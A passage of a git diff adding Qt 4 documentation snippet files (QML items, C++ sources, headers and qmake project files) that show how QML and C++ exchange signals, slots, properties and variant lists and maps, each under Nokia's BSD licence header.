+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+// main.qml
+import QtQuick 1.0
+
+Image { source: "images/background.png" }
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/resources/resources.pro b/doc/src/snippets/declarative/qtbinding/resources/resources.pro
new file mode 100644
index 00000000..cc01ee12
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/resources/resources.pro
@@ -0,0 +1,4 @@
+QT += declarative
+
+SOURCES += main.cpp
+RESOURCES += example.qrc
diff --git a/doc/src/snippets/declarative/qtbinding/signals-cpp/MyItem.qml b/doc/src/snippets/declarative/qtbinding/signals-cpp/MyItem.qml
new file mode 100644
index 00000000..2a4ad2f5
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/signals-cpp/MyItem.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ Connections {
+ target: imageViewer
+ onImageChanged: console.log("Image has changed!")
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h b/doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h
new file mode 100644
index 00000000..e2352499
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/signals-cpp/imageviewer.h
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+//![start]
+class ImageViewer : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QUrl image READ image WRITE setImage NOTIFY imageChanged)
+public:
+//![start]
+ ImageViewer(QDeclarativeItem *item = 0);
+
+ void setImage(const QUrl &url) {}
+ QUrl image() const { return QUrl(); }
+
+public slots:
+ void emitSignals();
+
+//![end]
+signals:
+ void imageChanged();
+ void loadingError(const QString &errorMsg);
+};
+//![end]
+
diff --git a/doc/src/snippets/declarative/qtbinding/signals-cpp/main.cpp b/doc/src/snippets/declarative/qtbinding/signals-cpp/main.cpp
new file mode 100644
index 00000000..f418ed37
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/signals-cpp/main.cpp
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "imageviewer.h"
+
+
+ImageViewer::ImageViewer(QDeclarativeItem *item)
+ : QDeclarativeItem(item)
+{
+ QTimer::singleShot(0, this, SLOT(emitSignals()));
+}
+
+void ImageViewer::emitSignals()
+{
+ emit imageChanged();
+ emit loadingError("some error message");
+}
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ qmlRegisterType<ImageViewer>("MyLibrary", 1, 0, "ImageViewer");
+
+ QDeclarativeView standalone;
+ standalone.setSource(QUrl::fromLocalFile("standalone.qml"));
+ standalone.show();
+
+//![connections]
+ImageViewer viewer;
+
+QDeclarativeView view;
+view.rootContext()->setContextProperty("imageViewer", &viewer);
+
+view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+view.show();
+//![connections]
+
+ return app.exec();
+}
+
+
diff --git a/doc/src/snippets/declarative/qtbinding/signals-cpp/signals-cpp.pro b/doc/src/snippets/declarative/qtbinding/signals-cpp/signals-cpp.pro
new file mode 100644
index 00000000..9aa87024
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/signals-cpp/signals-cpp.pro
@@ -0,0 +1,3 @@
+QT += declarative
+SOURCES += main.cpp
+HEADERS += "imageviewer.h"
diff --git a/doc/src/snippets/declarative/qtbinding/signals-cpp/standalone.qml b/doc/src/snippets/declarative/qtbinding/signals-cpp/standalone.qml
new file mode 100644
index 00000000..8516bba1
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/signals-cpp/standalone.qml
@@ -0,0 +1,48 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import MyLibrary 1.0
+
+//![0]
+ImageViewer {
+ onImageChanged: console.log("Image changed!")
+ onLoadingError: console.log("Image failed to load:", errorMsg)
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/qtbinding/signals-qml/MyItem.qml b/doc/src/snippets/declarative/qtbinding/signals-qml/MyItem.qml
new file mode 100644
index 00000000..72e2964c
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/signals-qml/MyItem.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ id: item
+ width: 100; height: 100
+
+ signal qmlSignal(string msg)
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: item.qmlSignal("Hello from QML")
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/signals-qml/main.cpp b/doc/src/snippets/declarative/qtbinding/signals-qml/main.cpp
new file mode 100644
index 00000000..e31e3ee0
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/signals-qml/main.cpp
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+//![0]
+int main(int argc, char *argv[]) {
+ QApplication app(argc, argv);
+
+ QDeclarativeView view(QUrl::fromLocalFile("MyItem.qml"));
+ QObject *item = view.rootObject();
+
+ MyClass myClass;
+ QObject::connect(item, SIGNAL(qmlSignal(QString)),
+ &myClass, SLOT(cppSlot(QString)));
+
+ view.show();
+ return app.exec();
+}
+//![0]
+
+#include "moc_main.cpp"
diff --git a/doc/src/snippets/declarative/qtbinding/signals-qml/myclass.h b/doc/src/snippets/declarative/qtbinding/signals-qml/myclass.h
new file mode 100644
index 00000000..a01d1851
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/signals-qml/myclass.h
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QObject>
+#include <QDebug>
+//![0]
+class MyClass : public QObject
+{
+ Q_OBJECT
+public slots:
+ void cppSlot(const QString &msg) {
+ qDebug() << "Called the C++ slot with message:" << msg;
+ }
+};
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/signals-qml/signals-qml.pro b/doc/src/snippets/declarative/qtbinding/signals-qml/signals-qml.pro
new file mode 100644
index 00000000..01066c1b
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/signals-qml/signals-qml.pro
@@ -0,0 +1,3 @@
+QT += declarative
+SOURCES += main.cpp
+HEADERS += myclass.h
diff --git a/doc/src/snippets/declarative/qtbinding/variantlistmap/MyItem.qml b/doc/src/snippets/declarative/qtbinding/variantlistmap/MyItem.qml
new file mode 100644
index 00000000..9d3f0b12
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/variantlistmap/MyItem.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+// MyItem.qml
+Item {
+ function readValues(anArray, anObject) {
+ for (var i=0; i<anArray.length; i++)
+ console.log("Array item:", anArray[i])
+
+ for (var prop in anObject) {
+ console.log("Object item:", prop, "=", anObject[prop])
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/variantlistmap/main.cpp b/doc/src/snippets/declarative/qtbinding/variantlistmap/main.cpp
new file mode 100644
index 00000000..a00df364
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/variantlistmap/main.cpp
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+int main(int argc, char *argv[]) {
+ QApplication app(argc, argv);
+
+//![0]
+// C++
+QDeclarativeView view(QUrl::fromLocalFile("MyItem.qml"));
+
+QVariantList list;
+list << 10 << Qt::green << "bottles";
+
+QVariantMap map;
+map.insert("language", "QML");
+map.insert("released", QDate(2010, 9, 21));
+
+QMetaObject::invokeMethod(view.rootObject(), "readValues",
+ Q_ARG(QVariant, QVariant::fromValue(list)),
+ Q_ARG(QVariant, QVariant::fromValue(map)));
+//![0]
+
+ view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+ view.show();
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/declarative/qtbinding/variantlistmap/variantlistmap.pro b/doc/src/snippets/declarative/qtbinding/variantlistmap/variantlistmap.pro
new file mode 100644
index 00000000..68eeaf21
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/variantlistmap/variantlistmap.pro
@@ -0,0 +1,2 @@
+QT += declarative
+SOURCES += main.cpp
diff --git a/doc/src/snippets/declarative/qtobject.qml b/doc/src/snippets/declarative/qtobject.qml
new file mode 100644
index 00000000..50b02bb7
--- /dev/null
+++ b/doc/src/snippets/declarative/qtobject.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ QtObject {
+ id: attributes
+ property string name
+ property int size
+ property variant attributes
+ }
+
+ Text { text: attributes.name }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/rectangle/rect-border-width.qml b/doc/src/snippets/declarative/rectangle/rect-border-width.qml
new file mode 100644
index 00000000..f56ffd23
--- /dev/null
+++ b/doc/src/snippets/declarative/rectangle/rect-border-width.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
